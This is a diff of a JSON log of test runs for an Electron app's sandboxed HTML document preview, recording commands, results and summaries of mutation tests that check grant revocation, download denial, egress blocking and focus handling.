+          "summary": "Three sole-delta mutants widening the focus handoff, the direction the adversarial pass found uncovered: dropping the page-activity half, dropping the active-tab-type half, and dropping the active-browser-tab half each fail exactly one of the pane's refusals — the inactive page, the terminal in front, and the other browser tab respectively. The presence half of that test passes under all three, so a pane that had stopped offering focus at all would still fail rather than pass the refusals vacuously."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/components/browser-pane/workspace-doc/workspace-doc-page-pane.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "result": "failed",
+          "durationSeconds": 3,
+          "summary": "One sole-delta mutant dropping the window-focus re-offer: the guest is focused once at mount and never again after the window comes back, which is the desktop gap behind it — another app taking the front leaves the preview's only route out shut until the pane remounts. It fails only the new re-offer test, and the refusing-preview case beside it stays green, so the re-offer is pinned as gated rather than unconditional."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "passed",
+          "durationSeconds": 186,
+          "summary": "The rewritten journey passed 2/2. The first test proves the inverted claim: the client gains exactly one browser workspace and it is the document one — page and tab url blank, the document path mirrored onto both, the tab named by the document's own title, the chip still naming the file, no editor row of the retired preview species — while the host's page registry and tab snapshot both stay at their pre-action content. Both host oracles carry a presence precondition in the same run: an ordinary URL browser tab this client opens does arrive in browser.tabList and in session.tabs.list, and leaves both again when it is closed, so the preview's absence is a decision rather than an oracle that cannot see browser pages. The document still reaches nothing on its own (zero ICE candidates, unattended and post-press egress both swallowed), and the one route out still works: a real press on a target=_blank anchor routes exactly one call and opens a tab while the preview stays open. The second test quits the client with a document tab open and relaunches it on the same profile: the same workspace row comes back blank and named by the document, renders again, and does so over a grant URL that differs from the one that was quit."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "failed",
+          "durationSeconds": 108,
+          "summary": "Candidate with the sole delta that the preview action also opens an ordinary browser tab through the runtime — what it did before STA-5557 — failed at the client-workspace count, 2 against the 1 the claim allows. It dies there rather than at the host oracle, so it proves the exactly-one-workspace half; the host half has no single line to mutate, since a document page never calls the runtime at all, and is protected instead by the presence precondition recorded above."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "failed",
+          "durationSeconds": 190,
+          "summary": "Candidate with the sole delta that the workspace row stops mirroring the document its active page shows failed in both tests on workspaceDocFilePath, null against the document path — the tab entry would go on naming nothing while the page it renders is a document. Two earlier mutants survived and are reported as ill-posed rather than as blind spots: flipping the mobile publish filter changes what this desktop publishes to its own phone clients, not what a paired client puts on its host, and flipping the document mirror in the workspace constructor is repaired on the next state write by the active-page mirror, which is the line the mutant above hits."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "failed",
+          "durationSeconds": 195,
+          "summary": "Candidate with the sole delta that the preview pane does not hand focus to its guest — the tree as it stood before this change — failed at the target=_blank press: six real presses reached the anchor, the embedder had the webview as its active element, and main's own log answered each report with registered true, grant live, focused false. This is the gap the rewrite found: since previews became browser pages they had no chrome to pass focus on, so the one route out of a preview was shut."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/doc-preview-grant-registry.test.ts src/main/browser/doc-preview-file-reader.test.ts src/main/browser/doc-preview-protocol.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/main/browser/doc-preview-failure-notice.test.ts src/shared/doc-preview-scheme.test.ts src/renderer/src/lib/doc-preview-grants.test.ts src/renderer/src/lib/file-preview.test.ts src/renderer/src/lib/file-preview-action-visibility.test.tsx src/main/window/main-window-webview-security.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx src/renderer/src/components/browser-pane/workspace-doc/doc-preview-external-link-confirmation.test.ts src/renderer/src/components/terminal-pane/terminal-file-link-actions.test.ts",
+          "result": "passed",
+          "durationSeconds": 1.63,
+          "summary": "189/189 over the grant, reader, protocol, guest-policy, scheme-admission, plan-routing, action-visibility, failure-message, external-link and terminal-row contracts. This replaces the 2026-08-27 record of the same command at 174/174, whose thirteenth file was the deleted doc-preview-external-link-bridge.test.ts: the STA-5758 hardening moved that behavior into the reader-facing confirmation (doc-preview-external-link-confirmation.test.ts), which now proves the exact destination is shown and nothing opens on cancel, alongside everything the retired run carried — the stale-mint rejection that must not evict a reopened preview tab, the CSP header and session request filter, the SSH symlink refusal, subframe containment, truncated and over-cap reads, the unservable-asset and empty-file split, the out-of-worktree paired refusal, and the guest deny-only navigation sinks. The count also carries the entry-only rule added on top of the hardening: a grant whose document directory is its own request base — a workspace-root or out-of-workspace document — reads nothing but the entry file until the reader approves a directory, at both the lexical and the canonical containment pass, because that directory is where secrets live and a DNS-prefetch beacon needs no click."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/doc-preview-download-block-notice.test.ts src/main/browser/browser-session-partition-policies.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx",
+          "result": "passed",
+          "durationSeconds": 1.78,
+          "summary": "64/64 on the visible download refusal, re-issued at the relocated path. This replaces the 2026-08-27 record of the same four files at 62/62, whose ten mutants — removing the notice from the deny listener, adding it to the routing listener, dropping the guest-registry lookup that names which preview to tell, dropping the shell branch and the row, letting the row survive the failure panel, removing the per-preview throttle, sharing one throttle across previews, never expiring the window, and publishing for a contents no preview is bound to — all failed as sole deltas. The relocation moved no line of any of them."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx src/shared/doc-preview-scheme.test.ts",
+          "result": "passed",
+          "durationSeconds": 2.05,
+          "summary": "39/39 on the title-parity trio at the relocated path, replacing the 2026-08-27 record of the same three files, which killed five mutants as sole deltas: disabling the document branch restores New Tab for a named document, dropping the grant-URL refusal puts the scheme into the title, the tab mirror and the written session, returning New Tab instead of the file name breaks the fallback, removing the guest listener leaves the document unable to name its tab, and making the scheme test parse rather than prefix-match lets a title that merely looks like a preview URL through."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx",
+          "result": "passed",
+          "durationSeconds": 1.54,
+          "summary": "14/14 on the reader-facing failure suite at its relocated path. This and the red run below replace the 2026-08-26 pair recorded against the pre-relocation path (10/10 green, 3/10 red), re-measured today so the entry/subresource split keeps a red half rather than only a green one."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx",
+          "result": "failed",
+          "durationSeconds": 1.27,
+          "summary": "Candidate with the sole delta that every failure sets the blocking reason, asset or not, failed 4/14 on the asset-notice assertions — the same mutant the retired 2026-08-26 record measured at 3/10, re-run at the relocated path. A refused subresource must name itself over a document that stays mounted; only the entry document may take the page away."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/browser/browser-manager-annotation-bridge.test.ts src/main/browser/browser-manager-guest-lifecycle.test.ts src/main/browser/offscreen-browser-backend-lifecycle.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/shared/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/doc-preview-document-actions.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/editor/EditorPanelShell.header.test.tsx src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "result": "passed",
+          "durationSeconds": 1.52,
+          "summary": "174/174 at the relocated paths, replacing the 2026-08-27 records of the same command at 162/162 and 158/158. Those established, as sole deltas: removing the unregister-channel refusal goes red because the grab disposal beside it drops the intent an in-flight preview grab compares by identity, while an ordinary browser page driven through the identical sequence still has its grab state disposed; removing registration’s already-gone-guest refusal goes red for both a missing and a destroyed guest; removing the map deletion on the refusal path goes red at shutdown; the bridge’s own unregisterGuest branch, restored, tears down a live page over a misaddressed request; and the download fall-through for an unresolved owner hands back a same-named local file under a remote document’s name."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/ipc/browser-tab-registration-wait.test.ts src/main/ipc/doc-preview-grant-ipc.test.ts src/main/browser/browser-manager-guest-lifecycle.test.ts src/main/browser/browser-manager-guest-policy-profile.test.ts src/main/browser/browser-manager-annotation-bridge.test.ts src/main/browser/offscreen-browser-backend-lifecycle.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/shared/doc-preview-scheme.test.ts src/renderer/src/components/browser-pane/workspace-doc/use-doc-preview-guest-tools.test.ts src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx",
+          "result": "passed",
+          "durationSeconds": 1.5,
+          "summary": "175/175 at the relocated paths on the unified tool authority, replacing the 2026-08-27 record of the same command at 174/174. That run killed twelve of fourteen mutants as sole deltas — dropping the document branch from the one authority door, removing either browsing-registration refusal or the mint-side refusal that is its converse, deleting the registration notification or widening it to the worktree-wide and any-tab waits, disposing revoked state by grant instead of by page, dropping the hosting-renderer or destroyed-contents check, rebuilding the renderer tool target from the grant, and deleting the teardown identity check under a re-mint — and reported two as ill-posed rather than as kills. The relocation changed no file it names except their directory."
+        },
+{
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts src/renderer/src/lib/file-preview.test.ts",
+          "result": "passed",
+          "durationSeconds": 22.09,
+          "summary": "29/29 on the candidate that makes the preview a browser tab. The preview action now creates a page located by the document; reopening the same document activates the tab it is already in rather than minting a second grant on one file; and closing that tab revokes its grant, which nothing else does now that the editor tab's close hook is gone. Red-green with each mutant as the sole delta: dropping the reuse lookup opens a second tab for a document already on screen, and dropping the release on close leaves the document readable through a grant nothing revokes until the process ends. Both are paired with presence preconditions in the same runs — a second, different document still gets its own tab, and a URL tab closed beside the document tab revokes nothing, so a release fired for every close would fail rather than pass."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/doc-preview-grant-ipc.test.ts src/renderer/src/components/terminal-pane/TerminalLinkActionPopover.test.tsx src/renderer/src/runtime/sync-runtime-graph-editor-diff-tabs.test.ts src/renderer/src/store/slices/tabs-hydration.test.ts",
+          "result": "passed",
+          "durationSeconds": 4.77,
+          "summary": "40/40 on the candidate that removes the editor preview species and moves its two boundary duties onto the browser tab. The publish filter moved with the tab: it used to exclude an editor file by mode, and now excludes a browser workspace by whether it is located by a document — asserted at both the group projection and the tab loop, because a mutant that filters only one of them still publishes. Migration is the other half: sessions written by builds that made previews editor tabs carry chrome whose entity id encodes the document, and whose document was never persisted, so it has always come back naming a surface no restore produces; that chrome is now dropped. Each mutant as the sole delta: filtering neither place publishes the document tab to mobile, filtering only the projection still publishes it, and removing the migration leaves the stale strip entry. Presence preconditions in the same runs: an ordinary browser tab beside the document tab does publish, and the ordinary editor tab for the very same document survives hydration."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/browser-workspace-doc-location.test.ts",
+          "result": "passed",
+          "durationSeconds": 1.54,
+          "summary": "10/10 on the candidate that gives a browser page a workspace-document location. The trap this is built around: page.url is read by persistence, the mobile publisher, history and the address bar, so a grant URL parked there would outlive the grant that named it and travel to readers that cannot resolve it. Creation overrides the url rather than trusting its caller, and restore re-asserts the same thing, so a session written by another build cannot carry one in. Red-green with each mutant as the sole delta: dropping the creation override writes the grant URL into the store and into the session payload; dropping the restore override brings a foreign session's grant URL back; leaving docLocation out of either browser schema strips it on load and restores the document as a blank New Tab under a strip entry that still names it (both schemas are plain z.object, and this is the trap that already cost one round on the editor schema); dropping it from the workspace build or the mirror leaves the tab entry naming a document its page has left, which the publish boundary reads; dropping the salvage-path copy loses the document when only the tab row survived; and dropping the address-bar exclusion focuses an address bar the surface does not have. The blank-url assertions are paired with a presence precondition in the same run: an ordinary tab created through the same call keeps its URL and does ask for the address bar."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/browser-manager-guest-policy-profile.test.ts src/main/window/main-window-webview-security.test.ts src/main/browser/doc-preview-guest-policy.test.ts",
+          "result": "passed",
+          "durationSeconds": 0.32,
+          "summary": "55/55 on the candidate that gives every guest one attach door. A preview used to reach its policies through an installer of its own, which meant the manager's attachment bookkeeping — the set registration consults and the cleanup teardown runs — never knew a preview existed. It is now a profile on `attachGuestPolicies`, and the doc policy is what that profile installs. Red-green with each mutant as the sole delta: deleting the profile branch hands a previewed document the browsing machinery (clicked-link routing, frame routing, popup child windows, anti-detection over the debugger) and lets it navigate off-grant; dropping the manager's destroyed wiring leaves the guest answerable through the grant-keyed authority after it dies and its id marked attached forever; and making the window fork ask for the default profile is caught at the fork itself. The absence assertions are paired with a presence precondition in the same run: a browsing guest attached through the same method observably takes every one of those things, so a profile that fenced nothing, or an attach path that had stopped installing anything at all, fails rather than passing empty."
+        },
+        {
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/browser/browser-session-partition-policies.test.ts src/main/browser/doc-preview-protocol.test.ts",
+          "result": "passed",
+          "durationSeconds": 0.17,
+          "summary": "22/22 on the candidate that stops a previewed document writing into this desktop's Downloads folder. The hole was read out of the shipping path, not guessed: the preview partition took the shared browser partition policies whole, including will-download, and a preview guest joins no browser-page registry, so handleGuestWillDownload resolved no owner context, routeBrowserClientDownload answered local for a non-client-hosted contents, and the item got a reserved Downloads name with no prompt and no tab to attribute it to. Downloads are now the one policy the preview partition does not inherit. Red-green with each mutant as the sole delta: making the installer ignore the deny option routes the preview partition's download to the router again, and making the preview protocol installer stop asking for the deny leaves the option unset. The absence half is paired with a presence precondition in the same run — an ordinary browsing partition installed beside the preview one in one test still reaches the download router, so a deny that fenced everything, or a download path that had been removed entirely, would fail rather than pass quietly."
+        },
+{
+          "date": "2026-08-27",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/main/ipc/browser.test.ts",
           "result": "passed",
           "durationSeconds": 0.7,
-          "summary": "Rebased candidate 14b5877a75 passed 5/5: absent, unknown, mixed-version, preflight-known, and post-preflight capability failures all reported failure and retained no new empty split."
+          "summary": "99/99 on the candidate that binds a preview guest to its grant when the policy installs, not only on a later navigation. Live on a dev instance against a real SSH workspace, the previous shape refused every tool with not-ready for as long as the reader stayed on the page they opened: the embedder hands the guest over after it has already started loading its src, so the did-start-navigation latch never saw the only navigation most previews make. Following an in-document link bound it and the tools began answering, which is what identified the miss. Two cases pin it: a guest already reporting its URL at install, and one whose first navigation only reaches the commit."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "passed",
+          "durationSeconds": 23.1,
+          "summary": "The journey passed 1/1 on the candidate that requires the guest to be bound to a grant before any navigation is allowed, rather than admitting an unbound one. The document still rendered and the target=_blank press still routed out, which is the half that would break if the renderer-set src reached will-navigate: it does not, because that load is browser-initiated, so the permissive branch it was written for is unreachable."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "ci",
+          "platform": "linux",
+          "command": "npx playwright test --config tests/playwright.config.ts --project=electron-headless tests/e2e/paired-remote-html-preview-local-render.spec.ts --workers=1",
+          "result": "failed",
+          "durationSeconds": 72,
+          "summary": "The journey failed on Ubuntu at the post-press presence precondition, with #post-input-egress still reading 'idle' after 30 seconds. The trace shows the press was dispatched at 769.5,143.9, a point the guest's own hit test had just confirmed was on its heading, and the focus report before it was already isFocused true, so neither focus nor coordinates were the break: the press never entered the guest at all. A standalone Electron 43 probe under Xvfb with this suite's Linux flags reproduced it in roughly two runs in five when pressing immediately after guest attach — the embedder received the pointerdown with the webview element as its target, meaning the browser resolved the press against the embedder because the freshly attached guest had not yet registered its hit-test region. The same probe never dropped a press on macOS, which is why local runs of either project could not see this. The spec now presses until the document answers, mirroring the target=_blank phase."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3",
+          "result": "passed",
+          "durationSeconds": 72,
+          "summary": "The journey passed 3/3 on the trusted-click candidate, which removed the recent-input gate, made both navigation sinks deny-only, dropped the webview's allowpopups attribute and gave the preview guest its own pinned preload. The fixture now also attempts a window.open and location.href from inside a pointerdown handler, so the egress rides a press the reader really made: it reported 'attempted' every run while both browser counts stayed at that phase's baseline and nothing routed, and the later real press on the target=_blank link still opened exactly one Orca browser tab with the preview still open."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "failed",
+          "durationSeconds": 26.9,
+          "summary": "Candidate with the sole delta that the navigation sinks route again behind a two-second recent-input gate failed on clientBrowserWorkspaceCountAllWorktrees 1 versus baseline 0: the document's location.href, run from inside the handler for the reader's press on the heading, opened a real browser tab. That is the case the earlier design could not distinguish from the press's own effect, and it is why the sinks route nothing at all now. The same run still refused the unattended on-load egress, so this measures the new half specifically."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/browser-preview-tool-authorization.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/main/ipc/browser.test.ts",
+          "result": "passed",
+          "durationSeconds": 0.97,
+          "summary": "97/97 passed over the preview tool-authorization seam. The channel census asserts the split is total, so a new browser channel cannot be added without classifying it: all six tool channels resolved the preview guest and refused both a renderer that does not host the preview and a grant no preview rendered, while all twenty-three page/session channels never reached the preview authority at all. Five mutations were killed \u2014 dropping the preview branch (12 failures), turning the two authorities into a fallback chain (13), ignoring the hosting renderer id (6), ignoring grant revocation (1), and removing one channel from the census (1)."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "pnpm exec vitest run --config config/vitest.config.ts src/preload/doc-preview-link-interception.test.ts src/main/browser/doc-preview-guest-policy.test.ts src/main/window/main-window-webview-security.test.ts src/main/ipc/doc-preview-grant-ipc.test.ts",
+          "result": "passed",
+          "durationSeconds": 0.36,
+          "summary": "The four surfaces the trusted-click route is built from passed 63/63: the preload's click policy over a real document, including an untrusted dispatched click, an untrusted middle click, an SVG animated href resolved against the document so a relative, rooted or fragment SVG link behaves exactly like the identical HTML anchor, fragment and percent-encoded fragment targets and a trusted middle click; the guest policy's deny-only sinks, its refusal of a navigation that arrives before a document has bound the guest to a grant, and its report gate for an unfocused guest, an unregistered sender, a missing or revoked grant and non-web URLs; will-attach-webview pinning the preview preload in both directions; and the click channel handing main its own sender without a trusted-renderer check."
+        },
+{
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "passed",
+          "durationSeconds": 22.8,
+          "summary": "The journey passed 1/1 with the fixture document now attempting its own egress on every load: an unattended window.open and location.href to an off-machine URL, and an ICE gathering probe. Both browser counts held at baseline and the probe reported candidates=0, while the document still rendered and the later real target=_blank press still routed out as an Orca browser tab."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line",
+          "result": "failed",
+          "durationSeconds": 23.6,
+          "summary": "Candidate with the sole delta that the preview guest no longer receives the disable_non_proxied_udp IP-handling policy failed on candidates=6 versus 0, proving the document can gather ICE — including a STUN reflexive candidate against an off-machine server in the standalone probe — whenever that one main-process call is missing."
+        },
+        {
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3",
+          "result": "passed",
+          "durationSeconds": 66,
+          "summary": "The journey passed 3/3 again under --repeat-each=3 on the candidate that clears grants on every fresh shell document and gates the mint channel on the trusted renderer, so neither change disturbs a live preview: the document still rendered, both browser counts held at baseline, and the target=_blank press still routed out as an Orca browser tab."
+        },
+{
+          "date": "2026-08-26",
+          "runner": "local",
+          "platform": "macos",
+          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-preview-local-render.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line --repeat-each=3",
+          "result": "passed",
+          "durationSeconds": 59.7,
+          "summary": "The renamed journey passed 3/3 under --repeat-each=3 on the hardened candidate: the host document rendered in the orca-preview guest, both browser counts held at baseline through the split, focus, reactivation and close phases, and the final phase's real target=_blank press routed out as an Orca browser tab with the routing call recorded as opened while the preview tab stayed open."
         },
         {
           "date": "2026-08-12",
@@ -3070,78 +3533,6 @@
           "durationSeconds": 3.48,
           "summary": "Seven focused host and renderer contract files passed 183/183 tests, covering owning-runtime routing, focused and unfocused creation, placement, reconciliation, failure cleanup, and teardown."
         },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 ORCA_E2E_FORWARD_APP_LOGS=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=3",
-          "result": "passed",
-          "durationSeconds": 16.1,
-          "summary": "The candidate passed exact host/client cardinality, split stability, rendered DOM, focus authority, close convergence, and surviving editor and terminal."
-        },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "SKIP_BUILD=1 ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-          "result": "failed",
-          "durationSeconds": 11.6,
-          "summary": "Latest-main a90a18d43da333e1cc327779a3f9912a78308848 failed the byte-identical 5806b23f oracle because the HTML preview collapsed into the source editor group instead of retaining its requested split."
-        },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-          "result": "passed",
-          "durationSeconds": 6.5,
-          "summary": "Rebased candidate b7de9c0961a4edf389a29079b2b4d5250184b57e passed the byte-identical 5806b23f oracle: one host page, one client workspace, requested split, rendered DOM, stable focus, and browser-only close."
-        },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-          "result": "failed",
-          "durationSeconds": 10.9,
-          "summary": "Rebased candidate b7de9c0961a4edf389a29079b2b4d5250184b57e with only the side-preview owning-runtime routing seam disabled failed the byte-identical 5806b23f oracle with two client workspaces."
-        },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-          "result": "passed",
-          "durationSeconds": 7.6,
-          "summary": "Final candidate d5767481b982b736e7cc5b4653b2a32a61280638 on merge-base 36d45af062ec4022265aabac8fc6a9d36eecedf1 passed the byte-identical 5806b23f oracle after final review and rebase: one host page, one client workspace, requested split, rendered DOM, stable focus, and browser-only close."
-        },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-          "result": "failed",
-          "durationSeconds": 11.8,
-          "summary": "Latest-main 346e59c879 failed the byte-identical 2ec1dcf1 oracle with two client HTML browser workspaces instead of one."
-        },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-          "result": "passed",
-          "durationSeconds": 8.4,
-          "summary": "Candidate d05217c40d passed the byte-identical 2ec1dcf1 oracle: one host page, one client workspace, stable split, rendered DOM, editor focus after creation, explicit-click browser focus, and browser-only close."
-        },
-        {
-          "date": "2026-08-12",
-          "runner": "local",
-          "platform": "macos",
-          "command": "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_FORCE_HEADFUL=1 pnpm exec playwright test tests/e2e/paired-remote-html-browser-focus.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-          "result": "failed",
-          "durationSeconds": 12.3,
-          "summary": "Candidate d05217c40d with only the side-preview focusOnCreate:false call disabled failed the byte-identical 2ec1dcf1 oracle because preview creation activated the browser instead of preserving editor focus."
-        },
         {
           "date": "2026-08-13",
           "runner": "local",
@@ -3171,7 +3562,7 @@
       },
       "redGreenEvidence": {
         "status": "complete",
